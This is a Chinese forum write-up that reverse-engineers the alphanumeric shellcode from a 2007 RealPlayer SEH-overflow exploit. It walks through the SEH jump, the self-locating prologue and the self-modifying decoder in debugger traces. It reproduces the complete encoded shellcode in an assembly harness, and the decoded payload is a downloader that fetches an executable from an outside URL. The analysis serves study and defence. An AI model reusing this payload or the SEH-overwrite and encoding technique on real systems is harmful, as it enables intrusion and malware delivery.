看到snowdbg刚刚的一篇精华文章http://bbs.pediy.com/showthread.php?t=113177谈到了纯字符型shellcode的加解密问题,其中achillis道出了关键:

引用:
最初由 achillis发布 查看帖子
似乎是老外写过一个这样的引擎,灰常强大~~普通的shellcode经过编码都可以变成纯字母数字的,这个过程不难,关键是解码部分写成纯字母的需要很强的功力~~
于是我想起了07年的Realplayer漏洞的纯字符shellcode,这正是用那样的引擎产生出来的,一个连解码部分都是纯字母数字的shellcode。那时我对shellcode调试还并不了解,刚刚尝试接触这个方面的知识就第一次碰到了纯字符shellcode,因此印象深刻。当时我只能通过查找alpha2的解密代码,用解密代码来把shellcode解出来,而不是通过调试shellcode中的解密代码的方式。后来看到了有关漏洞原理和触发的全过程的分析文章,才通过调试shellcode中的解密代码的方式把它解密出来,个人觉得那个解密代码的确写得非常有心思。现在恰逢其会,就整一篇小文在这里说一下跟大家分享。

该漏洞的原理请参考
[1]http://bbs.pediy.com/showthread.php?t=55357
该漏洞的触发过程及如何跳入shellcode的过程,参考
[2]http://www.sinoit.org.cn/NewsLetter/NO.11/1104.html

从以上两篇文章可以看到,该漏洞的利用是通过触发栈溢出并覆盖SEH处理例程地址来实现的,其中以下段落指出的编写Exploit的关键:
引用:
WideCharToMultiByte使Exploit编写难度加大了,因为不得不使用纯字符的Shellcode,这样经过AscII->Unicode->Ascii转换后的Shellcode依然能正确运行。另外,覆盖SEH链的地址也必须复合Unicode的编码规则。很幸运,0x60093179处的pop pop ret正好符合我们的要求,我们可以将堆栈覆盖成NNNNNN[jmp06 jmp04][0x60093179][Shellcode]这样的形式,执行pop pop ret指令后,EIP顺利跳入Shellcode。0x60093179这个地址随版本的不同地址也有所变化,笔者调试的是6.0.14.544的英文版Real player,剩下就是纯字母数字Shellcode的问题了。
即编写这个填充数据的难度主要集中在以下三点:

1. 使用纯字符shellcode的原因:IE浏览器将超长的数据传递给Realplayer时,对数据进行了ASCII->UNICODE转换,而漏洞相关函数中对字符串又进行了UNICODE->ASCII转换,为了保证包含有要覆盖的SEH地址和shellcode的超长输入数据在ASCII->UNICODE->ASCII转换后还能正确运行,不但必须使用纯字符型shellcode,而且连覆盖的SEH处理例程地址有了更严格的限制。

2. 当覆盖的SEH处理例程地址有更严格的限制的情况下,必须考虑怎么选择这个地址位置以方便跳入shellcode了,并充分利用SEH处理例程环境的特殊性为后续处理提供便利。这里找到的地址0x60093179不但刚好满足ASCII->UNICODE->ASCII转换后不变的条件,而且该处的代码形如:
pop  e?x
pop  e?x
ret
下面的调试过程中将看到,选择这样的代码作为SEH处理例程内容的好处,是因为根据SEH处理例程的格式,ret后的EIP指针将是相应的EXCEPTION_REGISTRATION结构的头部,也即原来应该保存上一个EXCEPTION_REGISTRATION结构指针的位置,因此Exploit将此处的4字节代码指定为jmp06 jmp04的话,经过这四字节代码之后正好跳入下面的shellcode。

3. 接下来就是shellcode的编写问题,开头纯字符代码,必须要完成代码重定位并对自身后面的加密内容进行解密。下面的调试过程中将看到,由于shellcode所处的环境特殊,它是由SEH处理例程跳进来的,因此可以通过比较特殊的方法进行重定位,而且在纯字母数字的限制下解码引擎使用SMC等精妙的手法完成了“带着镣铐跳舞”的任务。


为了更实际地模拟这个漏洞溢出跳入SEH后的执行过程,我写了一段代码人为地构建这样的环境并触发进入SEH(我自己就不需要考虑把SEH地址也搞成纯字符了)。注意文章[2]里面有一个地方有点问题,在紧接着shellcode后面应该填入一个"A"才正确,因为下面的分析可以看到在解码引擎中"A"是作为加密shellcode数据的结束标志的。
我的代码源文件内容如下:
代码:
.386 
.model flat,stdcall 
option casemap:none

.data
payload  dd  04740675h, 41414141h
  db  'LLLL\XXXXXLD'
  db  'TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0q'
  db  'JPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0'
  db  'z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGON'
  db  'uKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2'
  db  'DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOL'
  db  'NQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQW'
  db  'RU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp'
  db  '5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4'
  db  'CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS'
  db  '4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZV'
  db  'OdoRWQgrWTnQw2Y3JT96NPod2pgToPgrY0z2YTnSUQhU5k0wpA',0

.code
Start:
  push  esi
  push  edi
  push  ebx
  sub  esp, 400h
  call  reloc
reloc:  
  pop  ebx
  mov  esi, offset payload
  mov  edi, esi
  xor  eax, eax
  or  ecx, 0FFFFFFFFh
  xor  eax, eax
  repne  scasb
  not  ecx
  dec  ecx
  mov  edi, esp
  rep  movsb
  assume  fs:nothing
  mov  fs:[0], esp
  add  ebx, sehhandle-reloc
  mov  [esp+4], ebx
  xor  eax, eax
  mov  dword ptr [eax], 0
  pop  ebx
sehhandle:
  pop  edi
  pop  esi
  ret  

end Start
可以看到,我的代码人为模拟这个过程,自行将shellcode全内容写入堆栈,并指定相应的SEH处理例程,然后人为触发写0地址的异常从而进入SEH处理例程。编译后的exe在附件。

用OD载入附件中的shellcode.exe,忽略所有异常:

00401000 >/$  56            push    esi
00401001  |.  57            push    edi
00401002  |.  53            push    ebx
00401003  |.  81EC 00040000 sub     esp, 400
00401009  |.  E8 00000000   call    0040100E
0040100E  |$  5B            pop     ebx
0040100F  |.  BE 00204000   mov     esi, 00402000
00401014  |.  8BFE          mov     edi, esi
00401016  |.  33C0          xor     eax, eax
00401018  |.  83C9 FF       or      ecx, FFFFFFFF
0040101B  |.  33C0          xor     eax, eax
0040101D  |.  F2:AE         repne   scas byte ptr es:[edi]
0040101F  |.  F7D1          not     ecx
00401021  |.  49            dec     ecx
00401022  |.  8BFC          mov     edi, esp
00401024  |.  F3:A4         rep     movs byte ptr es:[edi], byte ptr>
00401026  |.  64:8925 00000>mov     dword ptr fs:[0], esp
0040102D  |.  81C3 32000000 add     ebx, 32
00401033  |.  895C24 04     mov     dword ptr [esp+4], ebx
00401037  |.  33C0          xor     eax, eax
00401039  |.  C700 00000000 mov     dword ptr [eax], 0
0040103F  |.  5B            pop     ebx
00401040  |.  5F            pop     edi                              ;  SEH处理例程地址
00401041  |.  5E            pop     esi
00401042  \.  C3            retn

1. 如何从SEH处理例程进入shellcode

在00401040处按一下F4,断下了,看堆栈中的情况(注意,从这里开始,这个堆栈中的内容以及下面整个shellcode的位置在不同的执行环境下有可能不同,重复时以实际的数值为准):

0013F7E8   7C9232A8  返回到 ntdll.7C9232A8
0013F7EC   0013F8D0
0013F7F0   0013FBB8
0013F7F4   0013F8EC
0013F7F8   0013F8A4

根据SEH处理例程的调用规范,其四个输入参数为:
pExcept:DWORD,pErr:DWORD,pContext:DWORD,pDispatch
其中前面几个参数意义为 
pExcept: --- EXCEPTION_RECORD结构的指针 
pErr: --- EXCEPTION_REGISTRATION结构的指针 
pContext: --- CONTEXT结构的指针 
pDispatch 

这里可以看到,当步过两个pop,ret代码执行之前,堆栈处保存的指针是0013FBB8,这正是相应EXCEPTION_REGISTRATION结构的指针,也正是整个有效内容的头部:

0013FBB8  75 06 74 04 40 10 40 00 4C 4C 4C 4C 5C 58 58 58  ut@@.LLLL\XXX
0013FBC8  58 58 4C 44 54 59 49 49 49 49 49 49 49 49 49 49  XXLDTYIIIIIIIIII
0013FBD8  49 49 49 49 49 49 37 51 5A 6A 41 58 50 30 41 30  IIIIII7QZjAXP0A0
0013FBE8  41 6B 41 41 51 32 41 42 32 42 42 30 42 42 41 42  AkAAQ2AB2BB0BBAB

ret之后,跳进去这段代码:

0013FBB8   /75 06           jnz     short 0013FBC0
0013FBBA   |74 04           je      short 0013FBC0
0013FBBC   |40              inc     eax
0013FBBD   |1040 00         adc     byte ptr [eax], al
0013FBC0   \4C              dec     esp                              ; 单步一次或两次到这里

前面两个判断跳转就是绕过了SEH处理例程那4字节内容,跳到了下面的shellcode开头,至此上面说的第2点要求的实现过程已经看清了。

注:正是SEH处理例程中可直接访问相应EXCEPTION_REGISTRATION结构的这个特性给EXCEPTION_REGISTRATION结构带来了可扩展性,也即只要在原有结构的基础上在后面附上额外的数据,则自定义的SEH处理例程可以方便地访问这些数据得到额外的信息。因此,这里后面的整个shellcode内容就可以看作是扩展后的EXCEPTION_REGISTRATION结构的附带数据,而这里Exploit利用了一个畸型的扩展的EXCEPTION_REGISTRATION结构达到了进入shellcode的目的。


2. 如何进行自定位并满足解码引擎的要求进入解码引擎前的前置代码

进入了shellcode之后,首先面临的就是自定位问题。一般的重定位可以采用call和pop的方式,而这里由于shellcode代码纯字符的限制不能使用,那么应该怎么做呢?

同样由于这里shellcode所在的环境比较特殊,它是由SEH例程ret进来的,因此ret时的那个地址,也就是前面说的相应EXCEPTION_REGISTRATION结构的指针现在正位于[esp-4]处,于是通过以下代码:

0013FBC0    4C              dec     esp
0013FBC1    4C              dec     esp
0013FBC2    4C              dec     esp
0013FBC3    4C              dec     esp
0013FBC4    5C              pop     esp

重新得到了0013FBB8这个地址到esp中。但是,前面这部分代码本身也占据空间,为了下面的代码能够对齐(这是指定的解码引擎的要求),又再度使用了单字节的pop代码(实际效果是每pop一次esp加4)和esp的递增递减代码达到自洽:

0013FBC5    58              pop     eax
0013FBC6    58              pop     eax
0013FBC7    58              pop     eax
0013FBC8    58              pop     eax
0013FBC9    58              pop     eax
0013FBCA    4C              dec     esp
0013FBCB    44              inc     esp
0013FBCC    54              push    esp                              ; 该指令执行前esp=0013FBCC,即该指令本身的位置
0013FBCD    59              pop     ecx

所谓的“自洽”,其结果就是当代码运行到0013FBCC时(该处指令还未执行),esp恰好也为0013FBCC,即该指令本身的位置,这是进入指定的解码引擎所必须的要求。

因此,从0013FBC0到0013FBCB的这部分代码,在文章[2]的exploit脚本中为AdjESP变量,就是为了满足指定的解码引擎的要求进行自定位而进行的修改esp的操作。解码引擎要求进入其中时esp指向其代码头部,也就是说自定位的工作必须交给前面这些内容来辅助实现。这就是我前面花这么大篇幅描述的原因,对于Exploit编写者来说这两部分是最需要费心的地方,因为毕竟后面的解码引擎已经有写好的范本而且可以反复重用。


3. 纯字符shellcode的关键所在精妙的解码引擎

从0013FBCC开始的代码就是纯字符shellcode的解码引擎了,开头是这样的:

0013FBCC    54              push    esp                              ; 该指令执行前esp=0013FBCC,即该指令本身的位置
0013FBCD    59              pop     ecx
0013FBCE    49              dec     ecx
0013FBCF    49              dec     ecx
0013FBD0    49              dec     ecx
0013FBD1    49              dec     ecx
0013FBD2    49              dec     ecx
0013FBD3    49              dec     ecx
0013FBD4    49              dec     ecx
0013FBD5    49              dec     ecx
0013FBD6    49              dec     ecx
0013FBD7    49              dec     ecx
0013FBD8    49              dec     ecx
0013FBD9    49              dec     ecx
0013FBDA    49              dec     ecx
0013FBDB    49              dec     ecx
0013FBDC    49              dec     ecx
0013FBDD    49              dec     ecx
0013FBDE    37              aaa
0013FBDF    51              push    ecx
0013FBE0    5A              pop     edx
0013FBE1    6A 41           push    41
0013FBE3    58              pop     eax
0013FBE4    50              push    eax
0013FBE5    3041 30         xor     byte ptr [ecx+30], al
0013FBE8    41              inc     ecx
0013FBE9    6B41 41 51      imul    eax, dword ptr [ecx+41], 51

首先显然ecx是(和后来的edx)取代了esp成为自定位代码位置的关键。那么前面拼命的dec ecx是干嘛呢?其实这又是一个“自洽”,是为了后面的xor和imul等解码中的30h、41h等数目能够刚刚好满足纯字符限制(30h的ASCII码即表示'0',41h的ASCII码即表示'A')。


3.1 解码代码的恢复(1)利用xor进行解码引擎内部的第一次SMC

代码第一个重要的实现,就是那个xor:

0013FBDF    51              push    ecx                              ; ecx=0013FBBC
0013FBE0    5A              pop     edx
0013FBE1    6A 41           push    41
0013FBE3    58              pop     eax
0013FBE4    50              push    eax
0013FBE5    3041 30         xor     byte ptr [ecx+30], al            ; xor byte ptr [0013FBEC], 41h
0013FBE8    41              inc     ecx
0013FBE9    6B41 41 51      imul    eax, dword ptr [ecx+41], 51

这跑到xor指令(尚未执行)时看到的代码状态,我是不是该说一句“接下来就是见证奇迹的时刻”?单步一下,好吧其实上面的注释我已经透露了,xor一下变成这样:

0013FBDF    51              push    ecx                              ; ecx=0013FBBC
0013FBE0    5A              pop     edx
0013FBE1    6A 41           push    41
0013FBE3    58              pop     eax
0013FBE4    50              push    eax
0013FBE5    3041 30         xor     byte ptr [ecx+30], al            ; xor byte ptr [0013FBEC], 41h
0013FBE8    41              inc     ecx
0013FBE9    6B41 41 10      imul    eax, dword ptr [ecx+41], 10      ; 解码引擎的第一次SMC,还原该指令

下面一句imul代码中的51h已然变成10h。

这里可以看到,由于解码引擎本身必须纯字母数字的限制,原本的10h这个字节不能直接存在,因此解码引擎采用了这样一种xor的方式在运行时进行SMC还原自身。


3.2 解码代码的恢复(2)利用解码引擎自身进行第二次SMC

接下来解码引擎看起来已经开始了,单步到0013FBF3(未执行),此时的代码情况:

0013FBE8    41              inc     ecx
0013FBE9    6B41 41 10      imul    eax, dword ptr [ecx+41], 10      ; imul eax, dword ptr [0013FBFE], 10h
0013FBED    3241 42         xor     al, byte ptr [ecx+42]            ; xor al, byte ptr [0013FBFF]
0013FBF0    3242 42         xor     al, byte ptr [edx+42]            ; xor al, byte ptr [0013FBFE]
0013FBF3    3042 42         xor     byte ptr [edx+42], al            ; xor byte ptr [0013FBFE], al
0013FBF6    41              inc     ecx
0013FBF7    42              inc     edx
0013FBF8    58              pop     eax
0013FBF9    50              push    eax
0013FBFA    3841 42         cmp     byte ptr [ecx+42], al
0013FBFD    75 4A           jnz     short 0013FC49

好了,又是一个“见证奇迹的时刻”,单步过了这个xor指令,代码变成这样:

0013FBE8    41              inc     ecx
0013FBE9    6B41 41 10      imul    eax, dword ptr [ecx+41], 10      ; imul eax, dword ptr [0013FBFE], 10h
0013FBED    3241 42         xor     al, byte ptr [ecx+42]            ; xor al, byte ptr [0013FBFF]
0013FBF0    3242 42         xor     al, byte ptr [edx+42]            ; xor al, byte ptr [0013FBFE]
0013FBF3    3042 42         xor     byte ptr [edx+42], al            ; xor byte ptr [0013FBFE], al
0013FBF6    41              inc     ecx
0013FBF7    42              inc     edx
0013FBF8    58              pop     eax
0013FBF9    50              push    eax
0013FBFA    3841 42         cmp     byte ptr [ecx+42], al
0013FBFD  ^ 75 E9           jnz     short 0013FBE8                   ; 解码引擎的第二次SMC,还原往回跳的指令

可以看到,第一次的解码实际上解的不是后面的原始shellcode代码,而洽洽是解码引擎的最后一个字节,即把这个形成循环的往回跳的jnz指令的中的代表偏移的字节给还原了。这也是因为E9h这个字节不符合纯字符的要求而做的改变。

综上,通过巧妙地构建解码引擎,可以在编排时代码符合纯字符的前提下,在运行时将自身的解码代码通过精心设计的SMC还原出来,从而正常实现解码功能。

正如achillis所说,解码引擎这一部分是如此优美和谐以及自洽,体现了引擎编写者深厚的功力。


3.3 原始shellcode数据的解码

走过一次上面的代码,到0013FBFD处跳回去后,以后的循环就是

0013FBE8    41              inc     ecx
0013FBE9    6B41 41 10      imul    eax, dword ptr [ecx+41], 10
0013FBED    3241 42         xor     al, byte ptr [ecx+42]
0013FBF0    3242 42         xor     al, byte ptr [edx+42]
0013FBF3    3042 42         xor     byte ptr [edx+42], al
0013FBF6    41              inc     ecx
0013FBF7    42              inc     edx
0013FBF8    58              pop     eax                              ; 此指令执行后总有eax=41h即'A'
0013FBF9    50              push    eax
0013FBFA    3841 42         cmp     byte ptr [ecx+42], al            ; 以'A'为结束符
0013FBFD  ^ 75 E9           jnz     short 0013FBE8

分析这个解码算法,其实就是两个字节的密文得到一个字节的原文。解码引擎中ecx是用来指向密文地址,而edx是用来指向原文地址。其中的这两句
0013FBF0    3242 42         xor     al, byte ptr [edx+42]
0013FBF3    3042 42         xor     byte ptr [edx+42], al
其实起的效果就是mov byte ptr [edx+42], al,这又是因为mov指令不合纯字符的问题而采用两个xor指令代替。

具体的算法,比如两个字节密文的16进制表示如果是0xKL和0xMN(这里的K~N为代数)而原文是0xXY,那么则有X=L^M,Y=N。应该说对于纯字母数字的ASCII码,K和L是限制因子,而这个解码引擎可以看到K为多少是完全不影响解码的,而纯字母数字的L和N是可以覆盖00h到0Fh的范围的,而L^M同样可以覆盖这个范围,所以通过两个字节的密文是可以模拟00h到0FFh的所有原文的。

另外从这个算法,可以看到密文结尾必须加一个'A'做结束标志从而结束循环,直接到0013FBFF处执行解密后的代码。至于密文中为何不会有'A',可以回头看文章[2]中的生成代码:
引用:
char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
可以看到(原文该行中的空格应该是排版的错误,不应该有空格)这个密文包含的字符列表中,'A'已经被刻意抽掉了作为结束符用。当然这个41h实际上也是解码引擎第一次SMC时xor指令的key。

综上,只要在0013FBFF按一下F4,即得到解码完毕进入shellcode开头:

0013FBFF   /EB 10           jmp     short 0013FC11
0013FC01   |5A              pop     edx
0013FC02   |4A              dec     edx
0013FC03   |33C9            xor     ecx, ecx
0013FC05   |66:B9 3C01      mov     cx, 13C
0013FC09   |80340A 66       xor     byte ptr [edx+ecx], 66
0013FC0D  ^|E2 FA           loopd   short 0013FC09
0013FC0F   |EB 05           jmp     short 0013FC16
0013FC11   \E8 EBFFFFFF     call    0013FC01

到了这里,纯字符shellcode的解码引擎的工作完成了,控制权交给了原始shellcode(这里指不再是纯字符的普通shellcode层面)。当然这里原始shellcode又加了一个简单的xor,在0013FC16处按一下F4就解出来了,具体的就不再涉及,病毒URL地址在下面:

0013FD52  68 74 74 70 3A 2F 2F 77 77 77 2E 67 79 7A 79 2E  http://www.gyzy.
0013FD62  6F 72 67 2F 67 79 7A 79 2E 65 78 65 80 00        org/gyzy.exe.


总结:本文分析了07年的Realplayer漏洞中示例Exploit从SEH处理例程一直到纯字符shellcode解码引擎执行的过程,简要分析了在纯字符条件限制下的SEH处理例程中进入shellcode的方法、解码引擎前面进行特殊情况下的自定位的前置代码,以及重点分析了由纯字母数字组成的解码引擎代码的精妙处理过程和解码步骤,希望能够借此揭示纯字符shellcode编写技巧的冰山一角。
上传的附件 RealplayerShellcode.rar